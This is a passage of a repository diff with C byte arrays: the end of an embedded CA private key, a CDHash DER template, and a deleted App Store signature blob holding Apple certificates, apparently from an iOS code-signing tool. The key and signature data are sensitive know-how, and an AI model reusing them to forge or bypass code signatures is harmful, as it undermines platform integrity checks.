0x4a, 0x54, 0x72, 0x42, 0x52, 0x6e, 0x47, 0x78, 0x68, 0x4c, 0x38, 0x4c,
0x7a, 0x6a, 0x31, 0x61, 0x75, 0x59, 0x5a, 0x6f, 0x49, 0x53, 0x79, 0x42,
0x44, 0x76, 0x67, 0x72, 0x61, 0x73, 0x52, 0x38, 0x30, 0x78, 0x67, 0x2f,
0x34, 0x36, 0x2b, 0x61, 0x43, 0x37, 0x4b, 0x70, 0x59, 0x73, 0x68, 0x41,
0x6f, 0x47, 0x41, 0x47, 0x44, 0x52, 0x4e, 0x0a, 0x6f, 0x6d, 0x47, 0x37,
0x53, 0x76, 0x4f, 0x5a, 0x6a, 0x37, 0x78, 0x35, 0x32, 0x30, 0x6b, 0x77,
0x41, 0x6f, 0x67, 0x64, 0x70, 0x48, 0x54, 0x2b, 0x38, 0x43, 0x42, 0x59,
0x55, 0x62, 0x53, 0x55, 0x44, 0x68, 0x45, 0x4a, 0x68, 0x6e, 0x6c, 0x41,
0x62, 0x68, 0x30, 0x4d, 0x34, 0x67, 0x41, 0x6f, 0x76, 0x65, 0x54, 0x71,
0x62, 0x55, 0x66, 0x6a, 0x2f, 0x61, 0x44, 0x74, 0x6e, 0x67, 0x6e, 0x41,
0x0a, 0x54, 0x52, 0x46, 0x4f, 0x58, 0x41, 0x56, 0x42, 0x78, 0x76, 0x65,
0x35, 0x30, 0x41, 0x67, 0x32, 0x44, 0x62, 0x65, 0x4b, 0x30, 0x47, 0x6d,
0x36, 0x56, 0x73, 0x74, 0x52, 0x35, 0x39, 0x6e, 0x77, 0x70, 0x4d, 0x43,
0x68, 0x6a, 0x75, 0x4c, 0x45, 0x55, 0x47, 0x74, 0x73, 0x4d, 0x67, 0x63,
0x33, 0x31, 0x51, 0x51, 0x6e, 0x6a, 0x49, 0x4e, 0x49, 0x4d, 0x4b, 0x5a,
0x44, 0x53, 0x71, 0x78, 0x45, 0x0a, 0x4f, 0x78, 0x4d, 0x30, 0x47, 0x39,
0x68, 0x43, 0x74, 0x68, 0x2b, 0x4b, 0x79, 0x55, 0x71, 0x31, 0x43, 0x72,
0x4e, 0x31, 0x32, 0x6d, 0x2b, 0x49, 0x4b, 0x55, 0x46, 0x64, 0x36, 0x47,
0x41, 0x70, 0x32, 0x69, 0x4e, 0x56, 0x4a, 0x6f, 0x45, 0x43, 0x67, 0x59,
0x45, 0x41, 0x77, 0x34, 0x47, 0x6f, 0x44, 0x49, 0x77, 0x54, 0x59, 0x4e,
0x65, 0x63, 0x4e, 0x48, 0x5a, 0x45, 0x58, 0x6e, 0x36, 0x62, 0x0a, 0x76,
0x44, 0x51, 0x66, 0x73, 0x6e, 0x64, 0x34, 0x44, 0x30, 0x50, 0x58, 0x4c,
0x75, 0x52, 0x63, 0x35, 0x64, 0x70, 0x77, 0x46, 0x2f, 0x6a, 0x53, 0x33,
0x6d, 0x4a, 0x33, 0x6f, 0x74, 0x61, 0x6a, 0x7a, 0x79, 0x39, 0x59, 0x6a,
0x76, 0x4c, 0x6c, 0x7a, 0x75, 0x55, 0x38, 0x70, 0x43, 0x46, 0x36, 0x45,
0x45, 0x48, 0x70, 0x57, 0x6e, 0x71, 0x55, 0x54, 0x47, 0x69, 0x74, 0x51,
0x69, 0x58, 0x36, 0x0a, 0x33, 0x76, 0x69, 0x69, 0x79, 0x71, 0x6d, 0x34,
0x2f, 0x65, 0x30, 0x75, 0x36, 0x4a, 0x66, 0x30, 0x72, 0x55, 0x2f, 0x78,
0x71, 0x46, 0x49, 0x54, 0x65, 0x4a, 0x37, 0x6b, 0x43, 0x6a, 0x37, 0x73,
0x73, 0x32, 0x4e, 0x68, 0x53, 0x79, 0x54, 0x54, 0x34, 0x6a, 0x51, 0x30,
0x33, 0x36, 0x76, 0x39, 0x57, 0x65, 0x50, 0x55, 0x69, 0x70, 0x34, 0x44,
0x7a, 0x6c, 0x59, 0x6c, 0x65, 0x2f, 0x72, 0x79, 0x0a, 0x59, 0x43, 0x64,
0x56, 0x73, 0x63, 0x5a, 0x59, 0x31, 0x61, 0x38, 0x73, 0x46, 0x34, 0x73,
0x36, 0x74, 0x6e, 0x36, 0x64, 0x48, 0x75, 0x4d, 0x3d, 0x0a, 0x2d, 0x2d,
0x2d, 0x2d, 0x2d, 0x45, 0x4e, 0x44, 0x20, 0x50, 0x52, 0x49, 0x56, 0x41,
0x54, 0x45, 0x20, 0x4b, 0x45, 0x59, 0x2d, 0x2d, 0x2d, 0x2d, 0x2d, 0x0a
};
unsigned int CAKeyLength = 1704;

View File

@ -1,35 +0,0 @@
#include <stdint.h>
/*
SEQUENCE (2 bytes)
OBJECT IDENTIFIER (2+5 bytes) 1.3.14.3.2.26 (sha1)
OCTET STRING (2+20 bytes) <SHA1 CDHash>
SEQUENCE (2 bytes)
OBJECT IDENTIFIER (2+9 bytes) 2.16.840.1.101.3.4.2.1 (sha256)
OCTET STRING (2+32 bytes) <SHA256 CDHash>
*/
uint8_t CDHashesDERTemplate[] = {
/* SEQUENCE (2 bytes) */
0x30, 0x1D,
/* OBJECT IDENTIFIER (2+5 bytes) */
0x06, 0x05, 0x2B, 0x0E, 0x03, 0x02, 0x1A,
/* OCTET STRING (2+20 bytes) */
0x04, 0x14,
/* SHA1 CDHash goes here */
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
/* SEQUENCE (2 bytes) */
0x30, 0x2D,
/* OBJECT IDENTIFIER (2+9 bytes) */
0x06, 0x09, 0x60, 0x86, 0x48, 0x01, 0x65, 0x03, 0x04, 0x02, 0x01,
/* OCTET STRING (2+32 bytes) */
0x04, 0x20,
/* SHA256 CDHash goes here */
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00
};
#define CDHASHES_DER_SIZE 78
#define CDHASHES_DER_SHA1_OFFSET 11
#define CDHASHES_DER_SHA256_OFFSET 46

View File

@ -1,370 +0,0 @@
unsigned char AppStoreSignatureBlob[] = {
0xfa, 0xde, 0x0b, 0x01, 0x00, 0x00, 0x11, 0x2e, 0x30, 0x80, 0x06, 0x09,
0x2a, 0x86, 0x48, 0x86, 0xf7, 0x0d, 0x01, 0x07, 0x02, 0xa0, 0x80, 0x30,
0x80, 0x02, 0x01, 0x01, 0x31, 0x0f, 0x30, 0x0d, 0x06, 0x09, 0x60, 0x86,
0x48, 0x01, 0x65, 0x03, 0x04, 0x02, 0x01, 0x05, 0x00, 0x30, 0x80, 0x06,
0x09, 0x2a, 0x86, 0x48, 0x86, 0xf7, 0x0d, 0x01, 0x07, 0x01, 0x00, 0x00,
0xa0, 0x82, 0x0d, 0x2f, 0x30, 0x82, 0x04, 0x24, 0x30, 0x82, 0x03, 0x0c,
0xa0, 0x03, 0x02, 0x01, 0x02, 0x02, 0x08, 0x40, 0x60, 0x57, 0xb3, 0xc9,
0xbf, 0x9d, 0xf0, 0x30, 0x0d, 0x06, 0x09, 0x2a, 0x86, 0x48, 0x86, 0xf7,
0x0d, 0x01, 0x01, 0x0b, 0x05, 0x00, 0x30, 0x73, 0x31, 0x2d, 0x30, 0x2b,
0x06, 0x03, 0x55, 0x04, 0x03, 0x0c, 0x24, 0x41, 0x70, 0x70, 0x6c, 0x65,
0x20, 0x69, 0x50, 0x68, 0x6f, 0x6e, 0x65, 0x20, 0x43, 0x65, 0x72, 0x74,
0x69, 0x66, 0x69, 0x63, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x20, 0x41, 0x75,
0x74, 0x68, 0x6f, 0x72, 0x69, 0x74, 0x79, 0x31, 0x20, 0x30, 0x1e, 0x06,
0x03, 0x55, 0x04, 0x0b, 0x0c, 0x17, 0x43, 0x65, 0x72, 0x74, 0x69, 0x66,
0x69, 0x63, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x20, 0x41, 0x75, 0x74, 0x68,
0x6f, 0x72, 0x69, 0x74, 0x79, 0x31, 0x13, 0x30, 0x11, 0x06, 0x03, 0x55,
0x04, 0x0a, 0x0c, 0x0a, 0x41, 0x70, 0x70, 0x6c, 0x65, 0x20, 0x49, 0x6e,
0x63, 0x2e, 0x31, 0x0b, 0x30, 0x09, 0x06, 0x03, 0x55, 0x04, 0x06, 0x13,
0x02, 0x55, 0x53, 0x30, 0x1e, 0x17, 0x0d, 0x31, 0x39, 0x30, 0x37, 0x31,
0x36, 0x30, 0x33, 0x35, 0x33, 0x32, 0x32, 0x5a, 0x17, 0x0d, 0x32, 0x31,
0x30, 0x38, 0x31, 0x34, 0x30, 0x33, 0x35, 0x33, 0x32, 0x32, 0x5a, 0x30,
0x61, 0x31, 0x0b, 0x30, 0x09, 0x06, 0x03, 0x55, 0x04, 0x06, 0x13, 0x02,
0x55, 0x53, 0x31, 0x13, 0x30, 0x11, 0x06, 0x03, 0x55, 0x04, 0x0a, 0x0c,
0x0a, 0x41, 0x70, 0x70, 0x6c, 0x65, 0x20, 0x49, 0x6e, 0x63, 0x2e, 0x31,
0x0f, 0x30, 0x0d, 0x06, 0x03, 0x55, 0x04, 0x0b, 0x0c, 0x06, 0x69, 0x50,
0x68, 0x6f, 0x6e, 0x65, 0x31, 0x2c, 0x30, 0x2a, 0x06, 0x03, 0x55, 0x04,
0x03, 0x0c, 0x23, 0x41, 0x70, 0x70, 0x6c, 0x65, 0x20, 0x69, 0x50, 0x68,
0x6f, 0x6e, 0x65, 0x20, 0x4f, 0x53, 0x20, 0x41, 0x70, 0x70, 0x6c, 0x69,
0x63, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x20, 0x53, 0x69, 0x67, 0x6e, 0x69,
0x6e, 0x67, 0x30, 0x82, 0x01, 0x22, 0x30, 0x0d, 0x06, 0x09, 0x2a, 0x86,
0x48, 0x86, 0xf7, 0x0d, 0x01, 0x01, 0x01, 0x05, 0x00, 0x03, 0x82, 0x01,
0x0f, 0x00, 0x30, 0x82, 0x01, 0x0a, 0x02, 0x82, 0x01, 0x01, 0x00, 0xcb,
0x4d, 0x05, 0x28, 0x65, 0x53, 0x8c, 0xd3, 0xec, 0x58, 0x78, 0x4d, 0x06,
0x54, 0xae, 0xa0, 0x5b, 0x54, 0x07, 0xb5, 0xf1, 0x14, 0xc3, 0x85, 0x5f,
0x94, 0x9b, 0xb5, 0x87, 0x62, 0x6c, 0x86, 0xc9, 0x67, 0xff, 0x06, 0x2e,
0x34, 0x9a, 0x56, 0x1e, 0x0f, 0x96, 0x52, 0x3e, 0xc7, 0x5e, 0x26, 0xa2,
0x68, 0xdc, 0xad, 0x7e, 0x51, 0xdf, 0xa4, 0x51, 0x43, 0x1b, 0xd3, 0x73,
0xa3, 0xc9, 0x8a, 0x35, 0x55, 0x39, 0x14, 0x36, 0x5d, 0xaf, 0x98, 0x4f,
0x53, 0x62, 0xb4, 0x71, 0x91, 0xfe, 0x3f, 0xbd, 0xb5, 0xb2, 0x3f, 0x59,
0x0f, 0xe1, 0xda, 0xef, 0x82, 0xb9, 0x63, 0x94, 0xf4, 0xb6, 0x01, 0x50,
0x75, 0xdd, 0xb9, 0xeb, 0xb8, 0x9c, 0xe0, 0x67, 0xb5, 0xdd, 0xa1, 0xcc,
0x68, 0x90, 0x4a, 0x6d, 0x4b, 0x07, 0xe4, 0xa9, 0x83, 0xde, 0x9a, 0xa2,
0xf5, 0x40, 0x5b, 0x30, 0x3a, 0x40, 0xbd, 0x11, 0x2d, 0x17, 0x18, 0xd7,
0xe1, 0xeb, 0xa0, 0xe7, 0xf0, 0x69, 0x0f, 0x28, 0x88, 0x8e, 0xf1, 0x1d,
0xfc, 0x47, 0xb9, 0x97, 0xe5, 0x14, 0xae, 0xc1, 0x4f, 0xaa, 0x9a, 0x30,
0xdb, 0x74, 0x0e, 0xf9, 0xf5, 0xc0, 0xa2, 0x5a, 0xc5, 0xf3, 0x77, 0x32,
0x2e, 0xbc, 0x21, 0xa6, 0x53, 0xa8, 0xef, 0x24, 0x99, 0x15, 0x0a, 0x66,
0x64, 0x81, 0xfa, 0x19, 0x17, 0x0e, 0x55, 0xd1, 0xf5, 0xcf, 0xbf, 0x75,
0x91, 0xcd, 0x7d, 0xaa, 0xa2, 0xa0, 0xa0, 0x67, 0xbb, 0x2c, 0xc6, 0xff,
0x59, 0x15, 0x0f, 0x65, 0x19, 0xfc, 0xad, 0x04, 0xa3, 0x34, 0x84, 0x90,
0x49, 0x1d, 0x60, 0x42, 0xaf, 0x0a, 0xc7, 0xb0, 0x47, 0x92, 0x6f, 0x14,
0xb6, 0xf1, 0x1d, 0x5e, 0x60, 0xe2, 0xe8, 0xb1, 0xfa, 0x28, 0xaf, 0x2c,
0xe9, 0x3b, 0x06, 0x77, 0x84, 0x31, 0xfa, 0x2d, 0x9b, 0x9b, 0x4e, 0xe4,
0x71, 0xac, 0x77, 0x02, 0x03, 0x01, 0x00, 0x01, 0xa3, 0x81, 0xcd, 0x30,
0x81, 0xca, 0x30, 0x0c, 0x06, 0x03, 0x55, 0x1d, 0x13, 0x01, 0x01, 0xff,
0x04, 0x02, 0x30, 0x00, 0x30, 0x1f, 0x06, 0x03, 0x55, 0x1d, 0x23, 0x04,
0x18, 0x30, 0x16, 0x80, 0x14, 0x6f, 0xf1, 0x95, 0x18, 0x62, 0x5c, 0xe0,
0xc8, 0xf1, 0xc5, 0xed, 0x6c, 0x18, 0xc9, 0xe0, 0xd3, 0x64, 0x52, 0x98,
0x20, 0x30, 0x40, 0x06, 0x08, 0x2b, 0x06, 0x01, 0x05, 0x05, 0x07, 0x01,
0x01, 0x04, 0x34, 0x30, 0x32, 0x30, 0x30, 0x06, 0x08, 0x2b, 0x06, 0x01,
0x05, 0x05, 0x07, 0x30, 0x01, 0x86, 0x24, 0x68, 0x74, 0x74, 0x70, 0x3a,
0x2f, 0x2f, 0x6f, 0x63, 0x73, 0x70, 0x2e, 0x61, 0x70, 0x70, 0x6c, 0x65,
0x2e, 0x63, 0x6f, 0x6d, 0x2f, 0x6f, 0x63, 0x73, 0x70, 0x30, 0x33, 0x2d,
0x61, 0x69, 0x70, 0x63, 0x61, 0x30, 0x34, 0x30, 0x16, 0x06, 0x03, 0x55,
0x1d, 0x25, 0x01, 0x01, 0xff, 0x04, 0x0c, 0x30, 0x0a, 0x06, 0x08, 0x2b,
0x06, 0x01, 0x05, 0x05, 0x07, 0x03, 0x03, 0x30, 0x1d, 0x06, 0x03, 0x55,
0x1d, 0x0e, 0x04, 0x16, 0x04, 0x14, 0x94, 0xb8, 0xc9, 0x60, 0x37, 0xb9,
0xfb, 0x8f, 0x0a, 0x5e, 0xd8, 0xa8, 0x8d, 0x65, 0x7c, 0xa3, 0x36, 0x39,
0x02, 0x30, 0x30, 0x0e, 0x06, 0x03, 0x55, 0x1d, 0x0f, 0x01, 0x01, 0xff,
0x04, 0x04, 0x03, 0x02, 0x07, 0x80, 0x30, 0x10, 0x06, 0x0a, 0x2a, 0x86,
0x48, 0x86, 0xf7, 0x63, 0x64, 0x06, 0x01, 0x03, 0x04, 0x02, 0x05, 0x00,
0x30, 0x0d, 0x06, 0x09, 0x2a, 0x86, 0x48, 0x86, 0xf7, 0x0d, 0x01, 0x01,
0x0b, 0x05, 0x00, 0x03, 0x82, 0x01, 0x01, 0x00, 0x78, 0xf3, 0x62, 0x53,
0x4b, 0x57, 0xfb, 0x4f, 0x61, 0x7f, 0x6f, 0x59, 0xd5, 0x37, 0x74, 0x4d,
0x7b, 0xd3, 0xca, 0x21, 0x5c, 0xbf, 0xae, 0x19, 0x86, 0xd2, 0xa3, 0x22,
0xa7, 0xf3, 0xe9, 0x39, 0xd9, 0x31, 0x49, 0x69, 0x26, 0xde, 0xff, 0x98,
0x8b, 0xea, 0x91, 0x90, 0x73, 0x76, 0x4e, 0x75, 0x2d, 0x63, 0x98, 0x80,
0x3f, 0xd7, 0xbe, 0x3c, 0x99, 0x83, 0xb9, 0x01, 0x43, 0x92, 0x03, 0xa6,
0x3a, 0x05, 0x4e, 0x57, 0x18, 0xd0, 0x8e, 0xdd, 0x1b, 0x0e, 0xde, 0x7d,
0xc4, 0x24, 0x0b, 0x42, 0x6d, 0x6f, 0xe4, 0x47, 0xd8, 0xc4, 0x78, 0x61,
0xb7, 0xc3, 0x42, 0xd2, 0xe7, 0x40, 0x79, 0x2f, 0x34, 0x30, 0x49, 0x9a,
0xaf, 0xb1, 0x9e, 0xa9, 0xfa, 0x66, 0x38, 0x78, 0x30, 0x68, 0x94, 0xdc,
0xa7, 0x55, 0xfc, 0xbf, 0x7e, 0x9d, 0x87, 0x0c, 0xc4, 0x63, 0x31, 0x8a,
0x0e, 0x6b, 0xbe, 0xc5, 0x07, 0xa6, 0x91, 0xc2, 0x04, 0x62, 0x53, 0x8d,
0xae, 0x6d, 0xcb, 0x36, 0x56, 0xce, 0xc8, 0xaf, 0x39, 0xa5, 0xcb, 0x7e,
0x90, 0x0f, 0x95, 0xcc, 0xc1, 0x43, 0x3a, 0xcd, 0xc9, 0x06, 0xb1, 0x99,
0xd0, 0xfd, 0xf0, 0xa8, 0x42, 0xa8, 0xa0, 0xcf, 0x7a, 0x1b, 0xed, 0xde,
0x67, 0x1c, 0x6e, 0xcd, 0x63, 0x38, 0xd5, 0x90, 0x0c, 0xee, 0x33, 0xb0,
0xdd, 0x0e, 0x82, 0x8a, 0xc5, 0xb5, 0xb9, 0x7a, 0xe4, 0x07, 0x3b, 0x51,
0x84, 0xbd, 0x8b, 0x58, 0x37, 0xa7, 0xf2, 0x4b, 0xb4, 0xe6, 0x16, 0x24,
0x65, 0x8c, 0xb9, 0xba, 0x34, 0xd3, 0xfe, 0xf0, 0x29, 0x22, 0x85, 0xa7,
0x74, 0x5c, 0x32, 0x6b, 0x88, 0x45, 0xc9, 0xde, 0x21, 0x8e, 0xd3, 0x53,
0x9c, 0x3a, 0xd9, 0x40, 0x33, 0x59, 0x3f, 0x6f, 0xfe, 0x35, 0xc6, 0x2b,
0x71, 0xd0, 0x3c, 0xdd, 0x36, 0x8f, 0x8e, 0x66, 0xea, 0x01, 0x25, 0x18,
0x30, 0x82, 0x04, 0x44, 0x30, 0x82, 0x03, 0x2c, 0xa0, 0x03, 0x02, 0x01,
0x02, 0x02, 0x08, 0x5c, 0x63, 0xca, 0xe4, 0x4a, 0x37, 0x53, 0xc9, 0x30,
0x0d, 0x06, 0x09, 0x2a, 0x86, 0x48, 0x86, 0xf7, 0x0d, 0x01, 0x01, 0x0b,
0x05, 0x00, 0x30, 0x62, 0x31, 0x0b, 0x30, 0x09, 0x06, 0x03, 0x55, 0x04,
0x06, 0x13, 0x02, 0x55, 0x53, 0x31, 0x13, 0x30, 0x11, 0x06, 0x03, 0x55,
0x04, 0x0a, 0x13, 0x0a, 0x41, 0x70, 0x70, 0x6c, 0x65, 0x20, 0x49, 0x6e,
0x63, 0x2e, 0x31, 0x26, 0x30, 0x24, 0x06, 0x03, 0x55, 0x04, 0x0b, 0x13,
0x1d, 0x41, 0x70, 0x70, 0x6c, 0x65, 0x20, 0x43, 0x65, 0x72, 0x74, 0x69,
0x66, 0x69, 0x63, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x20, 0x41, 0x75, 0x74,
0x68, 0x6f, 0x72, 0x69, 0x74, 0x79, 0x31, 0x16, 0x30, 0x14, 0x06, 0x03,
0x55, 0x04, 0x03, 0x13, 0x0d, 0x41, 0x70, 0x70, 0x6c, 0x65, 0x20, 0x52,
0x6f, 0x6f, 0x74, 0x20, 0x43, 0x41, 0x30, 0x1e, 0x17, 0x0d, 0x31, 0x37,
0x30, 0x35, 0x31, 0x30, 0x32, 0x31, 0x32, 0x37, 0x33, 0x30, 0x5a, 0x17,
0x0d, 0x33, 0x30, 0x31, 0x32, 0x33, 0x31, 0x30, 0x30, 0x30, 0x30, 0x30,
0x30, 0x5a, 0x30, 0x73, 0x31, 0x2d, 0x30, 0x2b, 0x06, 0x03, 0x55, 0x04,
0x03, 0x0c, 0x24, 0x41, 0x70, 0x70, 0x6c, 0x65, 0x20, 0x69, 0x50, 0x68,
0x6f, 0x6e, 0x65, 0x20, 0x43, 0x65, 0x72, 0x74, 0x69, 0x66, 0x69, 0x63,
0x61, 0x74, 0x69, 0x6f, 0x6e, 0x20, 0x41, 0x75, 0x74, 0x68, 0x6f, 0x72,
0x69, 0x74, 0x79, 0x31, 0x20, 0x30, 0x1e, 0x06, 0x03, 0x55, 0x04, 0x0b,
0x0c, 0x17, 0x43, 0x65, 0x72, 0x74, 0x69, 0x66, 0x69, 0x63, 0x61, 0x74,
0x69, 0x6f, 0x6e, 0x20, 0x41, 0x75, 0x74, 0x68, 0x6f, 0x72, 0x69, 0x74,
0x79, 0x31, 0x13, 0x30, 0x11, 0x06, 0x03, 0x55, 0x04, 0x0a, 0x0c, 0x0a,
0x41, 0x70, 0x70, 0x6c, 0x65, 0x20, 0x49, 0x6e, 0x63, 0x2e, 0x31, 0x0b,
0x30, 0x09, 0x06, 0x03, 0x55, 0x04, 0x06, 0x13, 0x02, 0x55, 0x53, 0x30,
0x82, 0x01, 0x22, 0x30, 0x0d, 0x06, 0x09, 0x2a, 0x86, 0x48, 0x86, 0xf7,
0x0d, 0x01, 0x01, 0x01, 0x05, 0x00, 0x03, 0x82, 0x01, 0x0f, 0x00, 0x30,
0x82, 0x01, 0x0a, 0x02, 0x82, 0x01, 0x01, 0x00, 0xc9, 0x45, 0x6a, 0x01,
0x0f, 0x3e, 0x83, 0x04, 0x86, 0xc7, 0xfc, 0xbf, 0xdc, 0x5e, 0xf0, 0x1e,
0x81, 0xee, 0x17, 0x30, 0x73, 0x63, 0x26, 0x2e, 0xde, 0x3d, 0x7a, 0x24,
0xcd, 0x93, 0x3e, 0x4f, 0x39, 0x47, 0xba, 0x75, 0xbe, 0xf3, 0xc0, 0xd2,
0xf1, 0x59, 0xa2, 0xab, 0x1f, 0xfe, 0x0a, 0x86, 0x3c, 0xd9, 0x2d, 0x9a,
0x07, 0xf2, 0x0e, 0x6b, 0xb9, 0x29, 0x91, 0x1a, 0x5f, 0x22, 0x0a, 0x8b,
0xf1, 0x72, 0x58, 0x05, 0xae, 0x4c, 0x4b, 0x44, 0xc5, 0x79, 0xa7, 0x80,
0x3c, 0xb0, 0x88, 0xe0, 0x8c, 0x0c, 0x27, 0x84, 0x5d, 0x19, 0xe5, 0x87,
0x19, 0x36, 0xcb, 0xe3, 0xc5, 0x76, 0xb7, 0xb0, 0xf4, 0x41, 0x72, 0x51,
0xf4, 0x05, 0x5c, 0x83, 0x4b, 0xa2, 0x6d, 0xa6, 0x51, 0xb8, 0xf1, 0x26,
0xdf, 0x7b, 0x5e, 0xad, 0x65, 0x0c, 0xc6, 0xb2, 0x98, 0x51, 0x8c, 0xbb,
0x7d, 0x1b, 0x4c, 0xc1, 0x4e, 0xc8, 0x08, 0xc7, 0xd2, 0xed, 0x64, 0x0b,
0xb4, 0xdd, 0x1b, 0x8d, 0x4f, 0x40, 0x7d, 0x1b, 0x8f, 0x48, 0x96, 0x92,
0x5b, 0xf3, 0xd0, 0x98, 0x7e, 0xd9, 0xbc, 0xa4, 0x19, 0x0e, 0x99, 0x61,
0xbb, 0x41, 0x5d, 0x01, 0xcc, 0x5b, 0x77, 0x7a, 0x7d, 0x24, 0xd0, 0xdc,
0xd3, 0x53, 0xff, 0xc3, 0xdc, 0xc5, 0x94, 0x2c, 0xb6, 0x5a, 0x4d, 0x8e,
0x18, 0x23, 0x39, 0xbd, 0xd9, 0xc6, 0x52, 0x3e, 0xd1, 0xf2, 0xf4, 0x25,
0x8a, 0xa1, 0x2a, 0x87, 0xfd, 0xd8, 0x0c, 0x46, 0x29, 0x51, 0xff, 0xed,
0x17, 0x6c, 0x89, 0x25, 0x6b, 0x87, 0xbf, 0x8a, 0x69, 0x14, 0x9f, 0x77,
0x9f, 0xc3, 0x15, 0xb7, 0x68, 0xb3, 0x88, 0x45, 0xbd, 0x84, 0xe6, 0x06,
0x02, 0x41, 0x64, 0x0f, 0xad, 0x2a, 0x28, 0xb8, 0x15, 0xc9, 0xe0, 0xac,
0xa7, 0x8a, 0xba, 0x72, 0x04, 0x34, 0xb2, 0x78, 0x8c, 0xf8, 0xb2, 0x85,
0x02, 0x03, 0x01, 0x00, 0x01, 0xa3, 0x81, 0xec, 0x30, 0x81, 0xe9, 0x30,
0x0f, 0x06, 0x03, 0x55, 0x1d, 0x13, 0x01, 0x01, 0xff, 0x04, 0x05, 0x30,
0x03, 0x01, 0x01, 0xff, 0x30, 0x1f, 0x06, 0x03, 0x55, 0x1d, 0x23, 0x04,
0x18, 0x30, 0x16, 0x80, 0x14, 0x2b, 0xd0, 0x69, 0x47, 0x94, 0x76, 0x09,
0xfe, 0xf4, 0x6b, 0x8d, 0x2e, 0x40, 0xa6, 0xf7, 0x47, 0x4d, 0x7f, 0x08,
0x5e, 0x30, 0x44, 0x06, 0x08, 0x2b, 0x06, 0x01, 0x05, 0x05, 0x07, 0x01,
0x01, 0x04, 0x38, 0x30, 0x36, 0x30, 0x34, 0x06, 0x08, 0x2b, 0x06, 0x01,
0x05, 0x05, 0x07, 0x30, 0x01, 0x86, 0x28, 0x68, 0x74, 0x74, 0x70, 0x3a,
0x2f, 0x2f, 0x6f, 0x63, 0x73, 0x70, 0x2e, 0x61, 0x70, 0x70, 0x6c, 0x65,
0x2e, 0x63, 0x6f, 0x6d, 0x2f, 0x6f, 0x63, 0x73, 0x70, 0x30, 0x33, 0x2d,
0x61, 0x70, 0x70, 0x6c, 0x65, 0x72, 0x6f, 0x6f, 0x74, 0x63, 0x61, 0x30,
0x2e, 0x06, 0x03, 0x55, 0x1d, 0x1f, 0x04, 0x27, 0x30, 0x25, 0x30, 0x23,
0xa0, 0x21, 0xa0, 0x1f, 0x86, 0x1d, 0x68, 0x74, 0x74, 0x70, 0x3a, 0x2f,
0x2f, 0x63, 0x72, 0x6c, 0x2e, 0x61, 0x70, 0x70, 0x6c, 0x65, 0x2e, 0x63,
0x6f, 0x6d, 0x2f, 0x72, 0x6f, 0x6f, 0x74, 0x2e, 0x63, 0x72, 0x6c, 0x30,
0x1d, 0x06, 0x03, 0x55, 0x1d, 0x0e, 0x04, 0x16, 0x04, 0x14, 0x6f, 0xf1,
0x95, 0x18, 0x62, 0x5c, 0xe0, 0xc8, 0xf1, 0xc5, 0xed, 0x6c, 0x18, 0xc9,
0xe0, 0xd3, 0x64, 0x52, 0x98, 0x20, 0x30, 0x0e, 0x06, 0x03, 0x55, 0x1d,
0x0f, 0x01, 0x01, 0xff, 0x04, 0x04, 0x03, 0x02, 0x01, 0x06, 0x30, 0x10,
0x06, 0x0a, 0x2a, 0x86, 0x48, 0x86, 0xf7, 0x63, 0x64, 0x06, 0x02, 0x12,
0x04, 0x02, 0x05, 0x00, 0x30, 0x0d, 0x06, 0x09, 0x2a, 0x86, 0x48, 0x86,
0xf7, 0x0d, 0x01, 0x01, 0x0b, 0x05, 0x00, 0x03, 0x82, 0x01, 0x01, 0x00,
0x3a, 0xcf, 0xac, 0x98, 0x8d, 0xbe, 0x92, 0x20, 0x21, 0x09, 0xad, 0x95,
0xf3, 0xb1, 0x5c, 0x21, 0xfa, 0x36, 0x2d, 0x57, 0x20, 0x44, 0x74, 0x73,
0x64, 0x92, 0x08, 0xb3, 0x96, 0xac, 0xf7, 0x6d, 0x97, 0xfa, 0x5b, 0x34,
0x38, 0x27, 0xcf, 0x12, 0x46, 0xd3, 0x3c, 0x11, 0xf0, 0x07, 0xc9, 0x99,
0x90, 0xb1, 0xd1, 0xe8, 0x11, 0x09, 0xa5, 0xe3, 0xa5, 0x6b, 0x6c, 0x63,
0x08, 0x3f, 0x9e, 0x25, 0xfa, 0xd5, 0x99, 0x9c, 0x4c, 0xe6, 0xe5, 0xce,
0x8e, 0xb2, 0x4d, 0x68, 0xec, 0x8b, 0xab, 0xa3, 0xa2, 0x4f, 0x8a, 0x11,
0x15, 0x3e, 0xdc, 0x14, 0x2b, 0x1c, 0xc6, 0x44, 0xb6, 0x6f, 0x67, 0xc5,
0x5b, 0x4f, 0x95, 0x29, 0x2d, 0x87, 0x5c, 0x3f, 0xdc, 0x83, 0x1e, 0x77,
0x4f, 0xed, 0xda, 0x54, 0xa7, 0x2d, 0xe7, 0x13, 0x81, 0xc1, 0x63, 0xc4,
0x54, 0x0b, 0x1b, 0x4b, 0x0a, 0x6a, 0x28, 0x22, 0x08, 0xd4, 0x37, 0x92,
0x7c, 0x7f, 0x67, 0x28, 0x5f, 0xaf, 0x3d, 0x3f, 0xb7, 0xac, 0x59, 0x1d,
0x38, 0x34, 0x64, 0x5a, 0xee, 0x33, 0x4a, 0x19, 0x42, 0x44, 0x29, 0xc4,
0xca, 0x18, 0x6b, 0xe1, 0xc1, 0x53, 0x2d, 0x2d, 0xf4, 0x4d, 0xc2, 0x15,
0xf6, 0x33, 0x32, 0x18, 0x78, 0xf1, 0x26, 0x6f, 0x8a, 0x4d, 0xeb, 0x94,
0x4c, 0xa3, 0xe8, 0xff, 0x0f, 0xb3, 0x03, 0x8b, 0x65, 0xda, 0xeb, 0x2e,
0xd8, 0x65, 0x50, 0x9f, 0xdc, 0x9f, 0x8a, 0xdf, 0x31, 0xa8, 0x84, 0x54,
0xdc, 0x52, 0x52, 0x41, 0xd2, 0xb2, 0x13, 0x1d, 0x31, 0x46, 0x47, 0x88,
